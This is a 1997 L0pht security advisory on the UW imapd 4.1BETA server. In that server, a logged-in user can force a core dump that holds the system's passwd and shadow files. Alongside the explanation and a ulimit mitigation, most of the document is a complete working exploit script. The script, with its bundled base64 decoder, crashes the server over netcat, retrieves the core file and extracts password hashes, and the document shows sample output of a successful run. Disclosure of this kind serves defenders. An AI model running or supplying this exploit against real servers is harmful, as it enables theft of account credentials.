home *** CD-ROM | disk | FTP | other *** search
-
- L0pht Security Advisory
-
- Advisory released Oct 8 1997
- Application: imapd (imap-4.1BETA from the
- IMAP 4.1 toolkit from University of Washington)
- Severity: any user with an account
- can remotely grab the shadowed password file.
- Author: mudge@l0pht.com
- http://www.l0pht.com/advisories.html
-
- Scenario:
-
- It is possible to crash the imapd server in several possible places.
- Due to the lack of handling for the SIGABRT signal and the nature
- of the IMAP protocol in storing folders locally on the server; a core dump
- is produced in the users current directory. This core dump contains the
- password and shadow password files from the system.
-
- Example:
-
- ./imap_core.sh
- usage: imap_core.sh target username password
-
- ./imap_core.sh target jdoe letmein
-
- imap_core.sh -
- this is a quick proof of concept tool that causes some imapd
- implementations to dump core. Unfortunately the core file
- contains the password and shadow password file in it!
- .mudge [mudge@l0pht.com]
-
- [Starting]
- Built base64 decoder...
-
- Running imap attack...
-
- Forced server to dump core. Reconnecting to grab file and clean up!
- Stripping trailing c/r from RFC822 base64 encapsulated core file
- Removing imap crap from beginning and end of core.24487
-
- Converting base64 image to binary core file...
- core.24487: ELF 32-bit MSB core file SPARC Version 1, from 'imapd'
- Successfully grabbed some form of password file for target.com
- results located in ./etc_passwd.target.com
- Successfully grabbed some form of shadow file for target.com
- results located in ./etc_shadow.target.foo.bar
- [note: some manual cleanup of ./etc_shadow.target.com is probably required]
- [Finished]
-
- Description:
-
- In several situations it is possible to make the imapd server call
- the function fatal() which is as follows in osdep/unix/ftl_unix.c:
-
- /* Report a fatal error
- * Accepts: string to output
- */
-
- void fatal (char *string)
- {
- mm_fatal (string); /* pass up the string */
- syslog (LOG_ALERT,"IMAP toolkit crash: %.100s",string);
- abort (); /* die horribly */
- }
-
- If SIGABRT is caught and the signal handler does not return, things
- would be okay, life would go on, and Frank Zappa's death would be
- a big sick joke. However, SIGABRT is not caught or ignored. Since part
- of the beauty of the IMAP protocol is that you can maintain your
- mailboxes on the server, your directory must be writable by at least
- yourself. What happens when SIGABRT is not caught, not ignored, and
- the current direcorty is writable? core dump.
-
- Here are just a few of the areas where fatal() is called.
-
- c-client/mail.c: if (stream->lock) fatal ("Lock when already locked");
- c-client/mail.c: if (!stream->lock) fatal ("Unlock when not locked");
- imapd/imapd.c: if (quell_events) fatal ("Impossible EXPUNGE event");
- osdep/unix/fs_unix.c: if (!block) fatal ("Out of free storage");
- osdep/unix/fs_unix.c: fatal ("Can't resize free storage");
- osdep/unix/env_unix.c: if (myUserName) fatal ("env_init called twice!");
- osdep/unix/dummy.c: fatal ("Impossible dummy_copy");
-
- Solution:
-
- There are several places where imapd can be forced to abort(3C). There
- are also several ways to prevent each area. As opposed to forcing our
- preferred way of fixing the code and thus precluding potentially more
- ellegant patches we choose to suggest a blanket solution. This should
- allow the author of the application to fix these problems as he sees fit
- while alerting everyone (good and bad) of the problem and a stop-gap fix
- in the mean time.
-
- This said, we recommend that core dumps not be permitted from any application
- running out of inetd. If you need to test these things do so in a controlled
- environment. No production machine should be allowed to crap all over the
- place. "But wait!", You say, "what if we think the application is robust
- and then realize there is a problem later on. We need that core file". Face
- it, there are very few people out there that know what to do with core
- files other than rm(1) them. However, if this is the case then you
- sved yourself some heartache. Now that you know the application is not
- ready for prime time you can pull it back into a controlled environment
- and attempt to make it dump core again.
-
- For Solaris you can set the core dump size via the bourne shell's built-in
- ulimit command.
-
- /etc/init.d/inetsvc should contain the line ulimit -c 0 directly above the
- line starting off inetd.
-
- ---excerpt snip---
- ulimit -c 0
- /usr/sbin/inetd -s
- --- excerpt snip---
-
- Don't forget to kill inetd and re-run the inetsvc script.
-
- Other OS's should check if their bourne shell has a built in ulimit and
- if not, follow whatever methods are used on their particular system to
- prevent core dumps or limit their size to 0.
-
- You can use the following script to test if you are vulnerable or to check
- that your fix worked. [note: you will need netcat for the script,
- netcat available from http://www.avian.org and other fine fast food
- establishments ]
-
- Exploit code:
-
- ------cut here------
-
- #!/bin/sh
- # mudge@l0pht.com
- #
- # A quick little tool that shows the dangers of priveledged programs dumping
- # core.
- #
- # Shout outs to a bunch of people - in particular Nettwerk.
- # Hey Nettwerk where'd ya go?
-
- # Programs
- NC=/usr/local/bin/nc
- CAT=/bin/cat
- RM=/bin/rm
- GREP=/bin/grep
- TAIL=/bin/tail
- HEAD=/bin/head
- MV=/bin/mv
- TR=/bin/tr
- STRINGS=/bin/strings
- FILE=/bin/file
- CC=/usr/local/bin/gcc
-
- # temporary command and storage files
- CMDS1=nc_commands1
- CMDS2=nc_commands2
- DECODE64_SRC=b64.c
- TMPNAM=vunlklyname
- TMPFILE=tmp.$$
-
- # compiled BASE64 decoding program
- DECODE64=./b64
-
- # core file - sometimes base64 sometimes actuall dump file
- CORE=core.$$
-
- if [ $# != 3 ] ; then
- echo "usage: `basename $0` target username password"
- exit
- fi
-
- echo
- echo "[L0pht Heavy Industries - l0pht.com]"
- echo "`basename $0` - "
- echo " this is a quick proof of concept tool that causes some imapd"
- echo " implementations to dump core. Unfortunately the core file "
- echo " contains the password and shadow password file in it!"
- echo " .mudge [mudge@l0pht.com]"
- echo
-
- # command line supplied variables
- TARGET=$1
- USER=$2
- PASS=$3
-
- # resultant password and shadow files
- PASSWD=./etc_passwd_$TARGET
- SHADOW=./etc_shadow_$TARGET
-
- # the following logs in in plaintext as opposed through X AUTHENTICATE -
- # you have been forwarned...
- # login with $user $pass
- # create a folder that probably isn't there
- # select the folder
- # copy the file to another name
- # the above will cause IMAP4rev1 to crash via calling dummy_copy
- # note: there are many other ways to get this thing to crash.
- cat > $CMDS1 << FOEFOE
-
- 1 LOGIN $USER $PASS
- 2 CREATE $TMPNAM
- 3 SELECT $TMPNAM
- 4 COPY $TMPNAM $TMPNAM.$$
-
- FOEFOE
-
- # login with $user $pass (again in plaintext...)
- # select the core file
- # retrieve the core file base64 encoded as per RFC822
- # delete the core file
- # delete the temporary file we created
- # bye bye
- cat > $CMDS2 << FOEFOE
-
- 1 LOGIN $USER $PASS
- 2 SELECT core
- 3 UID FETCH 1 (UID RFC822.SIZE RFC822)
- 4 DELETE core
- 5 DELETE $TMPNAM
- 4 LOGOUT
-
- FOEFOE
-
- # The following quick little program to decode base64 was yanked in
- # big chunks from Dave Winer's code sitting on
- # http://www.scripting.com/midas/base64/source.html
- # hey, credit where it's due - Dave saved me some time here.
- # modest changes by: mudge@l0pht.com
-
- cat > $DECODE64_SRC << FOEFOE
-
- #include <stdio.h>
-
- #define TRUE 1
- #define FALSE 0
-
- void decodefile(FILE *, FILE *);
-
- int main(int argc, char *argv[]){
- FILE *fin, *fout;
-
- if (argc > 3){
- printf("Usage: %s <infile> <outfile>\n", argv[0]);
- exit(1);
- }
-
- switch(argc){
- case 3:
- fin = fopen(argv[1], "r");
- fout = fopen(argv[2], "w");
- if (!fin || !fout) {
- perror("fopen");
- exit(1);
- }
- break;
- case 2:
- fin = fopen(argv[1], "r");
- fout = stdout;
- if (!fin) {
- perror("fopen");
- exit(1);
- }
- break;
- case 1:
- fin = stdin;
- fout = stdout;
- break;
- }
-
- decodefile(fin, fout);
- close(fin);
- close(fout);
- exit(0);
- }
-
- void decodefile(FILE *fin, FILE *fout) {
-
- short charctr;
- int breakout;
- unsigned char ch;
- unsigned char inbuf[3], outbuf[4];
- short bufctr = 0, ignore, eot = 0;
-
- while ((ch = fgetc(fin))) {
- if (feof(fin)){
- close(fin);
- break;
- }
-
- ignore = FALSE;
-
- if ((ch >= 'A') && (ch <= 'Z'))
- ch = ch - 'A';
- else if ((ch >= 'a') && (ch <= 'z'))
- ch = ch - 'a' + 26;
- else if ((ch >= '0') && (ch <= '9'))
- ch = ch - '0' + 52;
- else if (ch == '+')
- ch = 62;
- else if (ch == '=')
- eot = TRUE;
- else if (ch == '/')
- ch = 63;
- else
- ignore = TRUE;
-
- if (!ignore) {
- charctr = 3;
- breakout = FALSE;
-
- if (eot) {
- if (bufctr == 0)
- break;
-
- if ((bufctr == 1) || (bufctr == 2))
- charctr = 1;
- else
- charctr = 2;
-
- bufctr = 3;
- breakout = TRUE;
- }
-
- inbuf[bufctr++] = ch;
-
- if (bufctr == 4) {
- bufctr = 0;
-
- outbuf[0] = (inbuf[0] << 2) | ((inbuf[1] & 0x30) >> 4);
- outbuf[1] = ((inbuf[1] & 0x0F) << 4) | ((inbuf[2] & 0x3C) >> 2);
- outbuf[2] = ((inbuf[2] & 0x03) << 6) | (inbuf[3] & 0x3F);
-
- fprintf(fout, "%c%c%c", outbuf[0], outbuf[1], outbuf[2]);
- }
-
- if (breakout)
- break;
- }
- }
-
- }
-
- FOEFOE
-
- $CC -o $DECODE64 $DECODE64_SRC
- if [ ! -x $DECODE64 ] ; then
- echo "failed to compile base 64 decoding utility"
- echo "stop"
- $RM -f $DECODE64_SRC $DECODE64
- exit
- fi
-
- echo "[Starting]"
- echo "Built base64 decoder..."
- echo
- echo "Running imap attack..."
-
- $CAT $CMDS1 | $NC -w 10 $TARGET 143 > $TMPFILE
-
- grep -i "server crashing" $TMPFILE > /dev/null
-
- if [ $? -eq 0 ] ; then
- echo
- echo "Forced server to dump core. Reconnecting to grab file and clean up!"
- $CAT $CMDS2 | $NC -w 10 $TARGET 143 > $CORE
- $RM -f $CMDS1 $CMDS2 $TMPFILE
- echo "Stripping trailing c/r from RFC822 base64 encapsulated core file"
- # interesting... I must've missed the section of rfc 1521 that stated
- # they'd make this DOS'ish
- $TR -d '\015' < $CORE > $CORE.2 # strip off ^M's from file
- $MV -f $CORE.2 $CORE
- else
- echo "Failed to crash server... cleaning up"
- $RM -f $CMDS1 $CMDS2 $TMPFILE $DECODE64 $DECODE64_SRC
- exit
- fi
-
- echo "Removing imap crap from beginning and end of $CORE"
- VAR=`grep -n "^$" $CORE | awk -F: '{print $1}'`
- VAR=`expr $VAR + 1`
- $TAIL +$VAR $CORE > $TMPFILE
- VAR=`grep -n "=" $TMPFILE | awk -F: '{print $1}'`
- $HEAD -$VAR $TMPFILE > $CORE
- $RM $TMPFILE
-
- echo
- echo "Converting base64 image to binary core file..."
- $DECODE64 $CORE $TMPFILE
- $MV $TMPFILE $CORE
- $FILE $CORE
-
- $STRINGS - $CORE | $GREP ':x:' > $PASSWD
- $STRINGS -n 13 - $CORE | $GREP ':' | $GREP -v ' ' | $GREP -v ':x:' > $SHADOW
-
- if [ -s $PASSWD ] ; then
- echo
- echo "Successfully grabbed some form of password file for $TARGET"
- echo " results located in $PASSWD"
- else
- echo "failed to create $PASSWD"
- $RM -f $PASSWD
- fi
-
- if [ -s $SHADOW ] ; then
- echo "Successfully grabbed some form of shadow file for $TARGET"
- echo " results located in $SHADOW"
- echo " [note: some manual cleanup of $SHADOW is probably required]"
- echo
- else
- echo "failed to create $SHADOW"
- echo
- $RM -f $SHADOW
- fi
-
- $RM -f $DECODE64 $DECODE64_SRC
- $MV -f $CORE core_${TARGET}
- echo "[Finished]"
-
- ------cut here------
-
- mudge@l0pht.com
- ---------------
- For more L0pht (that's L - zero - P - H - T) advisories check out:
- http://www.l0pht.com/advisories.html
- ---------------
-
-